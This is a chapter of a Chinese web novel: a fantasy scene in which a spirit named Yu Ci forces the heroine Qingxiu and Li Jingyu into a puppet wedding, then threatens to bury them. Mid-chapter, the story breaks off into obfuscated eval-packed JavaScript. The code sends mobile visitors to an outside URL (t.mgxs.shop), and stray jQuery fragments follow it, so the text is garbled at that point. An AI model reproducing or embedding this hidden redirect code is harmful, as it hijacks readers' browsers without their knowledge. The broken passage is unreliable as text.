文趣网 > 其他小说 > 一纸卦辞渡尘缘 > 32. 宴
    “你是什么来头!”

    玉辞有些慌张地看着李景毓,倾袖默不作声只是看着他,也是一脸探究。

    言灵的力量不用灵力调动,是与生俱来的,具体程度如何视施咒人的天赋而定,刚刚的表现至少能说明李景毓身上是有神力存在的。

    不等他再说什么,玉辞的惶恐却突然一扫而空,露出势在必得的笑,下一秒就瞬移到李景毓面前,捏住他的下巴,手里拿了个不知道从哪儿顺手拿来的抹布直接塞进他嘴里后,满意地拍拍手。

    “我还治不了你了?”

    玉辞回到二人中间依旧是欣喜的语调:“我管你是神也好,人也罢,大喜之日我不允许任何人坏我好事。”

    说罢一群手持托盘的侍女鱼贯而入,领头的手上俨然捧着的是一顶凤冠。

    “给神女大人扮上。”

    她说这话的时候眼睛是亮晶晶的,倾袖却觉出了什么。

    “你怎么知道我是谁的?”

    玉辞手上顿了一下,手上变出了支花,转而笑着走向一旁,将主要的位置让给他俩。

    “那么接下来,待观众入场我们的仪式就正式开始!”

    倾袖和李景毓看向门口,不知那所谓的观众会是谁。

    “哎,我说温大人,咱这爬这么久了还没到顶吗?”

    明明是冬日,他们的领口都因爬楼被汗水打湿了,温令昀闻声停下脚步抬头望去,觉得奇怪。

    “别爬了。”

    千婵气喘吁吁,叉着腰靠在楼梯边,脸红扑扑的,汗珠顺着发际线而落,见大家都停下来看她,一只手指着一旁的厢房说:

    “你们数过没,咱们是第几次路过这间了?”

    厢房门口挂的牌子写得是“落月”,这时才似大梦初醒,他们竟已看见了足足五次。

    这是遇上鬼打墙了。

    几人都觉后怕,他们竟一直没有意识到,只是机械地爬楼,若是一直没醒过来是不是就要累死在这里了?

    “那我们该怎么办?”

    钱更连鬼都没见过的人这两日算是真刷新了三观,本来还想着不过是护送些贵人,没想到竟有如此奇遇,说实话也算是长见识了。

    温令昀和千婵都摇摇头表示无能为力,温令昀虽同倾袖相熟,却因着幼时家中遭难多少与术法有关,使他对玄学有着莫名的心理阴影,倾袖也瞧出他对此并无天赋所以也没有教过他这些。

    现在好了,三个人都不懂那些讳莫如深的东西,站在那干瞪眼好了。

    哎……

    一直话很少的冬屏却起身转了两圈,从身上掏出了个香囊似的东西,千婵看到后凑了过去。

    “香灰?”

    冬屏点点头,补充到:“是乌沉香的香灰。”

    倾袖在宫中总是熏香的原因一来是为了掩盖身上的血腥味儿,二来是在制作香料时她在其中施加了咒术,使那普通的香料有了驱邪净化的作用,她曾同冬屏说过即使是化作香灰效用也是有的,所以她常将多余的香灰撒在宫门前,以达到驱邪的作用。

    这次出宫也不知是不是她跟倾袖久了,沾了些什么,心中总觉不安便随身带了些来求个心理安慰。

    冬屏将香灰撒在他们脚下,并无什么变化,众人又萎靡下去,看来这香灰对这鬼打墙是没什么作用。

    她看着周围未变的场景,抬头看向斜对面厢房处,思考了一下站到那写着“落月”的牌子下细细端详着,用手沾了香灰抹上那朱红色的字,一瞬间场景置换,再不是他们刚刚看到的那样。

    “嚯!”

    其他几人被惊地左顾右盼,冬屏却淡定地拍拍手上的香灰,千婵一把挽住她的胳膊不住的夸着彩虹屁。

    “姐姐!你好厉害!没你我可怎么办啊!”

    “好了好了。”

    冬屏看似嫌弃地推开她,实则嘴角却是不住地上扬。

    “冬屏你怎么想到的啊!”

    “大妹子多亏了你啊!”

    温令昀和钱更也凑上来一脸崇拜,冬屏却还是平日里沉稳的模样:“大人身边哪里会养闲人。”

    从惊喜中缓过来的众人这才打量起周围的景象。

    刚刚还是普通的客栈走廊,如今入眼的全是鲜红,红色的绸缎,红色的灯笼,红色的囍字。

    “这是谁要结婚?”

    因为平时大家都在宫中,很少能见到民间结婚是什么样子,一时间脑子都没反应过来,若不是钱更说这话大家只将关注点放在:这还挺喜庆的哈上面。

    温令昀犹豫了一下还是开了口:“你们说……我只是猜测哈,神女和李景毓都不见了……你们说会不会……”

    “不会。”

    冬屏不等他说完就打断了,扭头就往真正的顶楼去,背影看着像是生气了,那么稳重的冬屏竟然会生气?其他人都有些摸不着头脑。

    李景毓啥时候把冬屏得罪了?

    婚礼现场

    “玉辞你搞这出戏到底想干啥?”

    倾袖任由那些人偶化作的侍女给她又是上妆又是梳头的,玉辞在一旁忙忙碌碌,一会儿指挥下那一会指挥下这儿,有种轻车熟路又乐在其中的感觉。

    听到倾袖问她,才停下手中的活,喜气洋洋地说:“CP就是要结婚才好磕嘛。”

    “什么是……C……”

    “CP!就是你们天生……一对的意思啦!”

    倾袖有些听不懂她说的话了,玉辞却摆摆手:“你不懂没关系,我个人言论跟正主无关。”

    倾袖更是茫然,她头一次出现听不懂别人说话的情况,尤其是那个什么……算了。

    她看了眼说不了话的李景毓,这才发现他这时也在看她,眼中的情感她看不明白。

    得了今天也算是撞上她知识盲区了,看来日后要学习的东西还有很多。

    “妆发都OK了吗?”

    一个侍女向她比划了个OK的手势,玉辞便清清嗓子:“很好,那我们的结婚仪式正式开始,请宾客安静入席。”

    哐当。

    是大门被猛地推开的声音,温令昀一行人就那样大啦啦地出现在婚宴现场,他们望着屋内的一切都震惊了。

    两个僵硬地穿着婚服的“新人”,一直燃着却没见下去的红烛,红烛边上笑得诡异的相偶,穿着依然隆重的女子拿支鲜花放在嘴边,这场面处处都透着诡异。

    “是你?”

    温

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536533|203473||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    令昀首先开口,他认出来了,站在那的女子不就是当初告诉他们子时上顶楼的那个侍女吗?

    玉辞提着裙边行了个奇怪的礼:“和大家重新认识一下,我叫玉辞,是这个楼乃至安禾镇的主人。”

    “你才是玉娘子?”

    玉辞知道他们的意思,看了眼红烛边的人偶语气宠溺地说:“阿玉通常以我的名义在外行事,你们见到的应该是她。”

    “这里到底是怎么回事?”

    冬屏看着这如同喜宴的现场已经很不爽了,尤其是看着上首的倾袖和李景毓现又是结婚时才有的打扮更是不悦。

    玉辞却将食指伸出放在唇上示意她安静。

    “婚礼就要开始了,不许说话了哦。”

    这时他们几人突然发现身体不得自己控制,直直地手脚并用地走进会场,自己入了坐。

    他们这才有了害怕的感觉,这种不受自己掌控的感觉可不好受。

    待他们入座,门口又出现了人影,已经变成人偶的安禾镇中所有居民都说说笑笑的进来,找了空位置坐下等待开席。

    “一拜天地!”

    随着玉辞高声,倾袖和李景毓被那股灵力控制着弯下身。

    “二拜高堂!”

    “夫妻对拜!”

    “礼成!送入洞房!”

    不像倾袖还挣扎几下,李景毓是完全顺着玉辞的摆弄,该拜天地拜天地,该对拜就对拜,甚至在对拜时倾袖还瞪了他一眼。

    毕竟那时她才看到李景毓的表情,似还有些窃喜?

    他在高兴什么啊!

    可这时李景毓满脑子都是他竟真同倾袖成婚了,毕竟这还是这么久以来第一次……

    哪怕是假的,他也是欢喜。

    “好了,新郎可以吻新娘了。”

    玉辞话音刚落,两道可以杀人的视线向她投射而来,一个是倾袖的,还有一个是冬屏的。

    李景毓在干嘛?他正红着耳根不敢看倾袖,即使她使了好几个眼色给他,但他就好像是沉浸在自己的世界里了一样。

    “各位来宾,近今日的婚礼圆满结束,接下来……”

    玉辞走到正中间的棺材前,语气依旧平和:“封棺,下葬。”

    等等等等。

    李景毓还没反应过来就听到要下葬了,谁下葬?他俩吗?

    “你到底想干什么?”

    倾袖真的摸不清楚这个人的套路,太跳跃了,有点失心疯的感觉。

    玉辞嘘了一下让她不要聒噪,手抚摸上棺材表面的纹路,看着满眼都是深情。

    “人类啊爱情里的誓言都是永恒,但事实呢?改变就在一瞬间。”

    说着说着玉辞的眼神变了,变得有些锐利。

    “既然都会变,那就死在最美好的那天吧!”

    身上的灵力开始收紧,倾袖疼得感觉五脏六腑都受到了压迫,不得已大喊出声:“楼玉辞!”

    玉辞身体僵在那看向倾袖的眼中满是震惊。

    “你……知道我?”

    倾袖咳了口鲜血出来,语气有些虚,却还是断断续续说着:

    “大皇子妃,你的名字在皇城,曾经应该没人不知吧?”